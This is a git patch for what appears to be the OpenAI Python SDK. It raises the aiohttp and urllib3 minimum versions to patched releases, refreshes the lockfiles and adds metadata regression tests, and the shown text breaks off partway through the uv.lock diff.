-version = "2026.2.0.20260518"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/9f/d9/9fa4019d2235bd374293e1fd4153879b28b6ae1d2bae98addd352c9713f2/types_pytz-2026.2.0.20260518.tar.gz", hash = "sha256:e5d254329e9c4e91f0781b22c43a4bb2d10bb044d97b24c4b05d45567b0eae16", size = 10871, upload-time = "2026-05-18T06:02:45.789Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/62/89/41e80670779a223d8bc8bc83019a619988cfa5c432cedac5cec23884fbc4/types_pytz-2026.2.0.20260518-py3-none-any.whl", hash = "sha256:3a12eaa38f476bd650902a9c9bb442f03f3c7dee2be5c5848bce61bd708d205a", size = 10125, upload-time = "2026-05-18T06:02:44.968Z" },
-]
-
[[package]]
name = "typing-extensions"
version = "4.15.0"
From 40e56de55166a55be3572fdf9750145d4458e144 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Tue, 18 Aug 2026 21:06:55 +0000
Subject: [PATCH 027/341] fix: require patched optional networking dependencies
(#3651)
## Summary
- Require aiohttp `>=3.14.3` in the aiohttp extra.
- Require urllib3 `>=2.7.0,<3` in the Bedrock extra, so the published
package metadata excludes affected versions as well as the development
locks.
- Refresh the three lockfiles and add metadata regression checks. No SDK
API, default dependency graph, or Python-version change.
## Public advisories covered
- aiohttp:
[GHSA-cq5v-8q36-5273](https://github.com/advisories/GHSA-cq5v-8q36-5273),
[GHSA-mfx4-hv73-q22v](https://github.com/advisories/GHSA-mfx4-hv73-q22v),
[GHSA-mq44-7p77-q5h7](https://github.com/advisories/GHSA-mq44-7p77-q5h7)
- urllib3:
[GHSA-qccp-gfcp-xxvc](https://github.com/advisories/GHSA-qccp-gfcp-xxvc),
[GHSA-2xpw-w6gg-jr37](https://github.com/advisories/GHSA-2xpw-w6gg-jr37),
[GHSA-38jv-5279-wg99](https://github.com/advisories/GHSA-38jv-5279-wg99),
[GHSA-gm62-xv2j-4w53](https://github.com/advisories/GHSA-gm62-xv2j-4w53),
[GHSA-pq67-6m6q-mj2v](https://github.com/advisories/GHSA-pq67-6m6q-mj2v)
These are upstream package advisories; this change does not claim every
affected upstream code path is exercised by the SDK.
## Validation
- 273 focused dependency, HTTP client, and synchronous/asynchronous
Bedrock tests passed with the exact patched versions and locked Botocore
1.42.97.
- The same 273 tests and the Bedrock wheel smoke test passed with the
minimum supported Botocore 1.40.0.
- Python 3.10 minimum-version resolution, Ruff/Pyright/mypy, Python
policy check, wheel/sdist build, and wheel metadata checks passed.
- Only aiohttp and urllib3 versions changed in the Rye locks; the
separate dependency-cleanup change merges cleanly.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
pyproject.toml | 3 +-
requirements-dev.lock | 5 +-
requirements.lock | 5 +-
scripts/check-python-version-policy.py | 2 +-
scripts/utils/validate-bedrock-wheel.py | 4 +
scripts/utils/validate-httpx2-wheel.py | 2 +-
tests/test_dependency_constraints.py | 25 +++
uv.lock | 244 ++++++++++++------------
8 files changed, 162 insertions(+), 128 deletions(-)
create mode 100644 tests/test_dependency_constraints.py
diff --git a/pyproject.toml b/pyproject.toml
index d5408f74f1..48f2374a75 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -42,13 +42,14 @@ Repository = "https://github.com/openai/openai-python"
[project.optional-dependencies]
aiohttp = [
- "aiohttp>=3.14.1",
+ "aiohttp>=3.14.3",
]
realtime = ["websockets >= 13, < 16"]
datalib = ["numpy >= 1", "pandas >= 1.2.3"]
voice_helpers = ["sounddevice>=0.5.1", "numpy>=2.0.2"]
bedrock = [
"botocore>=1.40.0,<2",
+ "urllib3>=2.7.0,<3",
]
[tool.rye]
diff --git a/requirements-dev.lock b/requirements-dev.lock
index 531ea0e490..57efe3d0d8 100644
--- a/requirements-dev.lock
+++ b/requirements-dev.lock
@@ -12,7 +12,7 @@
-e file:.
aiohappyeyeballs==2.7.1
# via aiohttp
-aiohttp==3.14.1
+aiohttp==3.14.3
# via openai
aiosignal==1.4.0
# via aiohttp
@@ -226,8 +226,9 @@ typing-inspection==0.4.2
# via pydantic
tzdata==2025.2
# via pandas
-urllib3==1.26.20
+urllib3==2.7.0
# via botocore
+ # via openai
# via requests
virtualenv==20.35.4
# via nox
diff --git a/requirements.lock b/requirements.lock
index 629abc0155..e38e47b423 100644
--- a/requirements.lock
+++ b/requirements.lock
@@ -12,7 +12,7 @@
-e file:.
aiohappyeyeballs==2.7.1
# via aiohttp
-aiohttp==3.14.1
+aiohttp==3.14.3
# via openai
aiosignal==1.4.0
# via aiohttp
@@ -99,8 +99,9 @@ typing-inspection==0.4.2
# via pydantic
tzdata==2025.2
# via pandas
-urllib3==1.26.20
+urllib3==2.7.0
# via botocore
+ # via openai
websockets==15.0.1
# via openai
yarl==1.24.2
diff --git a/scripts/check-python-version-policy.py b/scripts/check-python-version-policy.py
index ca74199485..58ca890129 100644
--- a/scripts/check-python-version-policy.py
+++ b/scripts/check-python-version-policy.py
@@ -9,7 +9,7 @@
CURRENT_STABLE = SUPPORTED[-1]
PRERELEASE = "3.15"
UNMARKED_DEPENDENCIES = (
- "aiohttp>=3.14.1",
+ "aiohttp>=3.14.3",
"httpx2>=2.7.0, <3",
"anyio>=4.10.0, <5",
"botocore>=1.40.0,<2",
diff --git a/scripts/utils/validate-bedrock-wheel.py b/scripts/utils/validate-bedrock-wheel.py
index 2543d37563..bbdaa61be8 100644
--- a/scripts/utils/validate-bedrock-wheel.py
+++ b/scripts/utils/validate-bedrock-wheel.py
@@ -111,6 +111,10 @@ def main() -> None:
if any("python_version" in requirement for requirement in botocore_requirements):
raise RuntimeError(f"Botocore requirements have redundant Python markers: {botocore_requirements}")
+ urllib3_requirements = [requirement for requirement in requirements if requirement.startswith("urllib3")]
+ if urllib3_requirements != ["urllib3<3,>=2.7.0; extra == 'bedrock'"]:
+ raise RuntimeError(f"The Bedrock extra must require a patched urllib3 release: {urllib3_requirements}")
+
environment = os.environ.copy()
for name in (
"AWS_ACCESS_KEY_ID",
diff --git a/scripts/utils/validate-httpx2-wheel.py b/scripts/utils/validate-httpx2-wheel.py
index 8e0642efba..6b6682eeaa 100644
--- a/scripts/utils/validate-httpx2-wheel.py
+++ b/scripts/utils/validate-httpx2-wheel.py
@@ -53,7 +53,7 @@ def validate_metadata(wheel: Path) -> None:
raise RuntimeError(f"The aiohttp extra must not install the legacy adapter package: {requirements}")
if {"httpx", "httpx2"} & extras:
raise RuntimeError(f"HTTP client selection must not require or expose an SDK extra: {extras}")
- if not any(value.startswith("aiohttp>=3.14.1") for value in aiohttp):
+ if not any(value.startswith("aiohttp>=3.14.3") for value in aiohttp):
raise RuntimeError(f"Expected the aiohttp extra to require a patched aiohttp release: {aiohttp}")
diff --git a/tests/test_dependency_constraints.py b/tests/test_dependency_constraints.py
new file mode 100644
index 0000000000..ec5e13da1d
--- /dev/null
+++ b/tests/test_dependency_constraints.py
@@ -0,0 +1,25 @@
+from __future__ import annotations
+
+from importlib.metadata import requires
+
+import pytest
+from packaging.requirements import Requirement
+
+
+@pytest.mark.parametrize(
+ ("name", "extra", "affected", "patched"),
+ [
+ ("aiohttp", "aiohttp", "3.14.2", "3.14.3"),
+ ("urllib3", "bedrock", "2.6.3", "2.7.0"),
+ ],
+)
+def test_optional_network_dependency_security_floors(name: str, extra: str, affected: str, patched: str) -> None:
+ requirements = [Requirement(value) for value in requires("openai") or []]
+ matches = [requirement for requirement in requirements if requirement.name == name]
+ assert len(matches) == 1
+ requirement = matches[0]
+ assert requirement.marker is not None
+ assert requirement.marker.evaluate({"extra": extra})
+ assert not requirement.marker.evaluate({"extra": ""})
+ assert affected not in requirement.specifier
+ assert patched in requirement.specifier
diff --git a/uv.lock b/uv.lock
index 83f4a38109..2dcb660ed6 100644
--- a/uv.lock
+++ b/uv.lock
@@ -22,7 +22,7 @@ wheels = [
[[package]]
name = "aiohttp"
-version = "3.14.1"
+version = "3.14.3"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "aiohappyeyeballs" },
@@ -35,126 +35,126 @@ dependencies = [
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
{ name = "yarl" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/82/78/8ea7308cac6934de8c74a14f3d5f65d1c89287426688be79538d0e5c013d/aiohttp-3.14.1.tar.gz", hash = "sha256:307f2cff90a764d329e77040603fa032db89c5c24fdad50c4c15334cba744035", size = 7955794, upload-time = "2026-06-07T21:09:35.529Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 7971213, upload-time = "2026-07-23T01:57:27.037Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/6d/67/58ded4b3f2e10f94972d8928050c85330e249a31dd45a0e5f3c0e9c3fa05/aiohttp-3.14.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8f6bb621e5863cfe8fe5ff5468002d200ec31f30f1280b259dc505b02595099e", size = 766140, upload-time = "2026-06-07T21:05:37.471Z" },
- { url = "https://files.pythonhosted.org/packages/18/68/4ae5b4e08943f316594bb68da89957d3baf5760588fa09509594bd777e4b/aiohttp-3.14.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4f7215cb3933784f79ed20e5f050e15984f390424339b22375d5a53c933a0491", size = 519430, upload-time = "2026-06-07T21:05:40.751Z" },
- { url = "https://files.pythonhosted.org/packages/cb/c1/316c8f3549dbe5245f92bfd523ec6f32dd4d98cafe21df3f6a19b1184c75/aiohttp-3.14.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d9d4e294455b23a68c9b8f042d0e8e377a265bcb15332753695f6e5b6819e0ce", size = 514406, upload-time = "2026-06-07T21:05:42.111Z" },
- { url = "https://files.pythonhosted.org/packages/5a/ee/fb0ac28684e8d753b83c8a4eebc19a5846912aa0a4daaabb6a9936363840/aiohttp-3.14.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b238af795833d5731d049d82bc84b768ae6f8f97f0495963b3ed9935c5901cc3", size = 1703649, upload-time = "2026-06-07T21:05:43.427Z" },
- { url = "https://files.pythonhosted.org/packages/3b/57/aa2beab673331f111885db8a7b69dfe3ab0e53e446a0ace18ca694b4dc58/aiohttp-3.14.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e4e5e0ae56914ecdbf446493addefc0159053dd53962cef37d7839f37f73d505", size = 1675126, upload-time = "2026-06-07T21:05:44.897Z" },
- { url = "https://files.pythonhosted.org/packages/47/ea/dad128abe365e79be03b16ed464198ac73e0d257e8260c6f7d6f31cbef26/aiohttp-3.14.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:092e4ce3619a7c6dee52a6bdabda973d9b34b66781f840ce93c7e0cec30cf521", size = 1771558, upload-time = "2026-06-07T21:05:46.405Z" },
- { url = "https://files.pythonhosted.org/packages/63/f3/b5b4e10327cb85d34d24232c6b71b64602f190b3ccb238a043ac6b187dac/aiohttp-3.14.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bb33777ea21e8b7ecde0e6fc84f598be0a1192eab1a63bc746d75aa75d38e7bd", size = 1856631, upload-time = "2026-06-07T21:05:47.844Z" },
- { url = "https://files.pythonhosted.org/packages/2b/9d/93294c3045775c708ac8310eb3d3622a11d2951345ad590d532d62a1faa4/aiohttp-3.14.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23119f8fd4f5d16902ed459b63b100bcd269628075162bddac56cc7b5273b3fb", size = 1714139, upload-time = "2026-06-07T21:05:49.982Z" },
- { url = "https://files.pythonhosted.org/packages/29/c4/93067c85a0373492ce8e577435203c5947c454af074ac48ed4f3a1b9dd4a/aiohttp-3.14.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:57fc6745a4b7d0f5a9eb4f40a69718be6c0bc1b8368cc9fe89e90118719f4f42", size = 1588321, upload-time = "2026-06-07T21:05:51.431Z" },
- { url = "https://files.pythonhosted.org/packages/c4/39/9ff91aaf02af8b7b8222a987466da539f154c3e01732c22b5f5a20a8ee66/aiohttp-3.14.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:6fd35beba67c4183b09375c5fff9accb47524191a244a99f95fd4472f5402c2b", size = 1670375, upload-time = "2026-06-07T21:05:53.109Z" },
- { url = "https://files.pythonhosted.org/packages/aa/e4/77452a3676b8d99ac1375f77691d6bf65ea6e9f4b201b82ef77c916dc767/aiohttp-3.14.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:672b9d65f42eb877f5c3f234a4547e4e1a226ca8c2eed879bb34670a0ce51192", size = 1690933, upload-time = "2026-06-07T21:05:54.902Z" },
- { url = "https://files.pythonhosted.org/packages/7d/84/b0059a7c7fc05ea23f3bc1596ba91c12f79588b9450564a24cac37536d0a/aiohttp-3.14.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:24ba13339fed9251d9b1a1bec8c7ab84c0d1675d79d33501e11f94f8b9a84e05", size = 1740798, upload-time = "2026-06-07T21:05:56.458Z" },
- { url = "https://files.pythonhosted.org/packages/8f/3a/e2a513ecbfc362591caa51a7f7e011b3bfc8938b388ae44cd95560d36999/aiohttp-3.14.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:94da27378da0610e341c4d30de29a191672683cc82b8f9556e8f7c7212a020fe", size = 1576412, upload-time = "2026-06-07T21:05:57.953Z" },
- { url = "https://files.pythonhosted.org/packages/a1/10/08f1654f538f93d36dcac66310a06eefce4641cdafca83f9f0a5317be254/aiohttp-3.14.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:52cdac9432d8b4a719f35094a818d95adcae0f0b4fe9b9b921909e0c87de9e7d", size = 1750199, upload-time = "2026-06-07T21:05:59.488Z" },
- { url = "https://files.pythonhosted.org/packages/99/e4/d91b70c57d8b8e9611e4a2e52238ca3698d3dc1c2efe25b7a9bf594ac584/aiohttp-3.14.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:672ac254412a24d0d0cf00a9e6c238877e4be5e5fa2d188832c1244f45f31966", size = 1699356, upload-time = "2026-06-07T21:06:01.131Z" },
- { url = "https://files.pythonhosted.org/packages/3d/f1/15340176f35ff61b95dbe34020bcf43f9e624a2d7bbac934715ff97d2033/aiohttp-3.14.1-cp310-cp310-win32.whl", hash = "sha256:2fe3607e71acc6ebb0ec8e492a247bf7a291226192dc0084236dfc12478916f6", size = 458939, upload-time = "2026-06-07T21:06:02.86Z" },
- { url = "https://files.pythonhosted.org/packages/c3/c2/a2f1ec5b37f903109e43ae2862268cfe4a67a60c1b2cf43169fcdff5995f/aiohttp-3.14.1-cp310-cp310-win_amd64.whl", hash = "sha256:30099eda75a53c32efb0920e9c33c195314d2cc1c680fbfd30894932ac5f27df", size = 482583, upload-time = "2026-06-07T21:06:04.666Z" },
- { url = "https://files.pythonhosted.org/packages/d0/7a/7b56f6732ef79530afaa72aa335d41b67c8d79b946995f0b11ad72985435/aiohttp-3.14.1-cp310-cp310-win_arm64.whl", hash = "sha256:5a837f49d901f9e368651b676912bff1104ed8c1a83b280bcd7b29adccef5c9c", size = 453470, upload-time = "2026-06-07T21:06:06.322Z" },
- { url = "https://files.pythonhosted.org/packages/26/dd/bf526e6f0a1120dd6f2df2e97bacfe4d358f13d17a0ff5847301a1375a51/aiohttp-3.14.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:aa00140699487bd435fde4342d85c94cb256b7cd3a5b9c3396c67f19922afda2", size = 765225, upload-time = "2026-06-07T21:06:07.957Z" },
- { url = "https://files.pythonhosted.org/packages/8f/e1/a2872aa55495a70f61310d411541c6ee23812d9a884e000c716e1bc3edbf/aiohttp-3.14.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1c1af67559445498b502030c35c59db59966f47041ca9de5b4e707f86bd10b5f", size = 518743, upload-time = "2026-06-07T21:06:09.749Z" },
- { url = "https://files.pythonhosted.org/packages/5b/e7/c60c7b209e509cc787de3cea0550a518538cfc08003e1c1e14c1c63fff71/aiohttp-3.14.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d44ec478e713ee7f29b439f7eb8dc2b9d4079e11ae114d2c2ac3d5daf30516c8", size = 514139, upload-time = "2026-06-07T21:06:11.26Z" },
- { url = "https://files.pythonhosted.org/packages/5b/8d/614ace2f579702c9840ab1e1447fd8509e35b0b904f7196418fa2f57b25d/aiohttp-3.14.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d3b1a184a9a8f548a6b73f1e26b96b052193e4b3175ed7342aaf1151a1f00a04", size = 1784088, upload-time = "2026-06-07T21:06:12.887Z" },
- { url = "https://files.pythonhosted.org/packages/49/e0/726e90f99542bf292f81a96a12cc4847deb86f3ccf62c6f4014a201f4d33/aiohttp-3.14.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5f2504bc0322437c9a1ff6d3333ca56c7477b727c995f036b976ae17b98372c8", size = 1737835, upload-time = "2026-06-07T21:06:14.564Z" },
- { url = "https://files.pythonhosted.org/packages/0b/4b/d176d5c4db9d33dacf0543102ea59503bc1d528af4cfd0b719949ca49389/aiohttp-3.14.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:73f05ea02013e02512c3bf42714f1208c57168c779cc6fe23516e4543089d0a6", size = 1842801, upload-time = "2026-06-07T21:06:16.228Z" },
- { url = "https://files.pythonhosted.org/packages/dc/d6/5a99b563690ea0cbed912ae94a2ce33993a5709a651a3a4fe761e7dd973a/aiohttp-3.14.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:797457503c2d426bee06eef808d07b31ede30b65e054444e7de64cad0061b7af", size = 1929992, upload-time = "2026-06-07T21:06:17.947Z" },
- { url = "https://files.pythonhosted.org/packages/76/7f/a987b14a3859094b3cea3f4825219c3e5536242564af6e3f9c2f6c994eb2/aiohttp-3.14.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b821a1f7dedf7e37450654e620038ac3b2e81e8fa6ea269337e97101978ec730", size = 1786989, upload-time = "2026-06-07T21:06:19.677Z" },
- { url = "https://files.pythonhosted.org/packages/f1/1a/420e5c85a3e73349372ed22ce0b6af86bfa6ce16a4b20a64a2e94608c781/aiohttp-3.14.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4cd96b5ba05d67ed0cf00b5b405c8cd99586d8e3481e8ee0a831057591af7621", size = 1640129, upload-time = "2026-06-07T21:06:22.558Z" },
- { url = "https://files.pythonhosted.org/packages/a7/80/18a592ed3be0a402cc03670bd72ee1f8563ddbe1d8d5542dbf868f274136/aiohttp-3.14.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d459b98a932296c6f0e94f87511a0b1b90a8a02c30a50e60a297619cd5a58ee", size = 1756576, upload-time = "2026-06-07T21:06:24.8Z" },
- { url = "https://files.pythonhosted.org/packages/ec/0b/8b3d5713373858ff71a617daf6e3b0e81ad63e79d09a3cf2f6b6b983939c/aiohttp-3.14.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:764457a7be60825fb770a644852ff717bcbb5042f189f2bd16df61a81b3f6573", size = 1754668, upload-time = "2026-06-07T21:06:26.528Z" },
- { url = "https://files.pythonhosted.org/packages/9f/49/fd564575cf225821d7ba5a117cb8bc27213d8a7e1811162afb43ae077039/aiohttp-3.14.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:f7a16ef45b081454ef844502d87a848876c490c4cb5c650c230f6ec79ed2c1e7", size = 1817019, upload-time = "2026-06-07T21:06:28.297Z" },
- { url = "https://files.pythonhosted.org/packages/ed/1b/e850c9ae6fc91356552ae668bb6c51e93fa29c8aef13398a10b56678557f/aiohttp-3.14.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:2fbc3ed048b3475b9f0cbcb9978e9d2d3511acd91ead203af26ed9f0056004cf", size = 1631638, upload-time = "2026-06-07T21:06:30.242Z" },
- { url = "https://files.pythonhosted.org/packages/eb/94/3c337ba72451a89806ace6f75bddc92bafc5b8d53d90115a512858024b63/aiohttp-3.14.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:bedb0cd073cc2dc035e30aeb99444389d3cd2113afe4ef9fcd23d439f5bade85", size = 1835660, upload-time = "2026-06-07T21:06:31.943Z" },
- { url = "https://files.pythonhosted.org/packages/2b/9c/9c18cf367a0498212d9ba7daf990b504a5e8ae064cda4b504e2647c89c03/aiohttp-3.14.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b6feea921016eb3d4e04d65fc4e9ca402d1a3801f562aef94989f54694917af3", size = 1775698, upload-time = "2026-06-07T21:06:33.72Z" },
- { url = "https://files.pythonhosted.org/packages/b5/63/a251a9d2a6cb45065b2ddc0bde2b3dd10108740a9a42f632c66405a761a2/aiohttp-3.14.1-cp311-cp311-win32.whl", hash = "sha256:313701e488100074ce99850404ee36e741abf6330179fec908a1944ecf570126", size = 458386, upload-time = "2026-06-07T21:06:35.279Z" },
- { url = "https://files.pythonhosted.org/packages/17/ca/69274c51dcd6e8947d77b2806cf47a4a15f2c846e2cbeb1882547d3da283/aiohttp-3.14.1-cp311-cp311-win_amd64.whl", hash = "sha256:03ab4530fdcb3a543a122ba4b65ac9919da9fe9f78a03d328a6e38ff962f7aa5", size = 483406, upload-time = "2026-06-07T21:06:36.824Z" },
- { url = "https://files.pythonhosted.org/packages/2c/8a/c25904f77690c3688ec140f87591ef11a0cfe36bf3d5c0f1f38056fb62b3/aiohttp-3.14.1-cp311-cp311-win_arm64.whl", hash = "sha256:486f7d16ed54c39c2cbd7ca71fd8ba2b8bb7860df65bd7b6ed640bab96a38a8b", size = 452987, upload-time = "2026-06-07T21:06:38.371Z" },
- { url = "https://files.pythonhosted.org/packages/1d/21/151624b51cd92553d95424daf4bf19f19ce9be9002d19253e7e7ce67197b/aiohttp-3.14.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d35143e27778b4bb0fb189562d7f275bff79c62ab8e98459717c0ea617ff2480", size = 757402, upload-time = "2026-06-07T21:06:40.311Z" },
- { url = "https://files.pythonhosted.org/packages/c2/82/280619e0bd7bf2454987e19282616e84762255dd9c8468f62382e8c191f1/aiohttp-3.14.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bcfb80a2cc36fba2534e5e5b5264dc7ae6fcd9bf15256da3e53d2f499e6fa29d", size = 512310, upload-time = "2026-06-07T21:06:42.207Z" },
- { url = "https://files.pythonhosted.org/packages/55/b2/2aac325583aaa1353045f96dffa586d8a34e8322e14a7ba49cffeb103ab4/aiohttp-3.14.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:27fd7c91e51729b4f7e1577865fa6d34c9adccbc39aabe9000285b48af9f0ec2", size = 512448, upload-time = "2026-06-07T21:06:43.813Z" },
- { url = "https://files.pythonhosted.org/packages/8a/72/a60607cb849faa8af8a356c9329ea2eb6f395d49e82cc82ccba1fd8deb8f/aiohttp-3.14.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:64c567bf9eaf664280116a8688f63016e6b32db2505908e2bdaca1b6438142f2", size = 1766854, upload-time = "2026-06-07T21:06:45.391Z" },
- { url = "https://files.pythonhosted.org/packages/b5/d3/d9fe1c9ec7557ab4d0d82bebaa728c6418f0b93295ec2f4ab015f7710cc7/aiohttp-3.14.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f5e6ff2bdbb8f4cd3fbe41f99e25bbcd58e3bf9f13d3dd31a11e7917251cc77a", size = 1740884, upload-time = "2026-06-07T21:06:47.413Z" },
- { url = "https://files.pythonhosted.org/packages/c1/dc/f2cecfaf9337ba3e63f181500814ff502aa3d00d9c7ec93a9d23d10a27b2/aiohttp-3.14.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2f73e01dc37122325caf079982621262f96d74823c179038a82fddfc50359264", size = 1810034, upload-time = "2026-06-07T21:06:50.165Z" },
- { url = "https://files.pythonhosted.org/packages/66/d7/2ff65c5e65c0d7476daf7e15c032e0805e36811185b9623e3238ad6c763e/aiohttp-3.14.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bb2c0c80d431c0d03f2c7dbf125150fedd4f0de17366a7ca33f7ccb822391842", size = 1904054, upload-time = "2026-06-07T21:06:52.035Z" },
- { url = "https://files.pythonhosted.org/packages/20/9c/d445818389df371f56d141d881153ba23183c4735a03f7356ffb43f7757d/aiohttp-3.14.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3e6fc1a85fa7194a1a7d19f44e8609180f4a8eb5fa4c7ed8b4355f080fad235c", size = 1790278, upload-time = "2026-06-07T21:06:54.049Z" },
- { url = "https://files.pythonhosted.org/packages/4d/aa/bf04cb4d865fc6101c2229a294ad744973b72e513fdc5a6b791e6983d72a/aiohttp-3.14.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:686b6c0d3911ec387b444ddf5dc62fb7f7c0a7d5186a7861626496a5ab4aff95", size = 1591795, upload-time = "2026-06-07T21:06:55.911Z" },
- { url = "https://files.pythonhosted.org/packages/dc/b4/4dac0038960427ba832f6609dfb4ea5437d7fd80c72001b9e48f834f428b/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c6fa4dc7ad6f8109c70bb1499e589f76b0b792baf39f9b017eb92c8a81d0a199", size = 1728397, upload-time = "2026-06-07T21:06:57.777Z" },
- { url = "https://files.pythonhosted.org/packages/2b/f9/7cd4e8ad7aa3b75f17d56bb5498dd604a93d4e6eece822ba0568c413fff0/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:87a5eea1b2a5e21e1ebdbb33ad4165359189327e63fc4e4894693e7f821ac817", size = 1766504, upload-time = "2026-06-07T21:07:00.009Z" },
- { url = "https://files.pythonhosted.org/packages/f9/df/fc01d9fcad0f73fed3f3d361f1f94f975947b50dff82919f6dc2bf4316cc/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1c1421eb01d4fd608d88cc8290211d177a58532b55ad94076fb349c5bf467f0a", size = 1777806, upload-time = "2026-06-07T21:07:02.064Z" },
- { url = "https://files.pythonhosted.org/packages/41/09/47e2d090bddcc8fb4ccb4c314aadc32d7c5d9bb55f50f6ad1c92fc15d501/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:34b257ec41345c1e8f2df68fa908a7952f5de932723871eb633ecbbff396c9a4", size = 1580707, upload-time = "2026-06-07T21:07:03.942Z" },
- { url = "https://files.pythonhosted.org/packages/3d/36/f1a4ce904ae0b6930cfe9afc96d0896f7ec1a620c400405d63783bb95a9c/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:de538791a80e5d862addbc183f70f0158ac9b9bb872bb147f1fd2a683691e087", size = 1798121, upload-time = "2026-06-07T21:07:05.987Z" },
- { url = "https://files.pythonhosted.org/packages/70/0a/e0075ce9ca0279ee1d4f0c0b85f54fea02ebc83c3007651a72bece658fec/aiohttp-3.14.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6f71173be42d3241d428f760122febb748de0623f44308a6f120d0dd9ec572e3", size = 1767580, upload-time = "2026-06-07T21:07:07.873Z" },
- { url = "https://files.pythonhosted.org/packages/3e/61/a0c0a8f327a9c52095cdd8e312391b00d3ed64ab6c72bb5c33d8ec251cf7/aiohttp-3.14.1-cp312-cp312-win32.whl", hash = "sha256:ec8dc383ee57ea3e883477dcca3f11b65d58199f1080acaf4cd6ad9a99698be4", size = 452771, upload-time = "2026-06-07T21:07:09.669Z" },
- { url = "https://files.pythonhosted.org/packages/df/d9/ea367c75f16ac9c6cdc8febb25e8318fa21a2b1bc8d6514d4b2d890bface/aiohttp-3.14.1-cp312-cp312-win_amd64.whl", hash = "sha256:2aa92c87868cd13674989f9ee83e5f9f7ea4237589b728048e1f0c8f6caa3271", size = 479873, upload-time = "2026-06-07T21:07:11.538Z" },
- { url = "https://files.pythonhosted.org/packages/03/64/8d96784a7851156db8a4c6c3f6f91042fdf39fb15a4cc38c8b3c14833c45/aiohttp-3.14.1-cp312-cp312-win_arm64.whl", hash = "sha256:2c840c90759922cb5e6dda94596e079a30fb5a5ba548e7e0dc00574703940847", size = 448073, upload-time = "2026-06-07T21:07:13.637Z" },
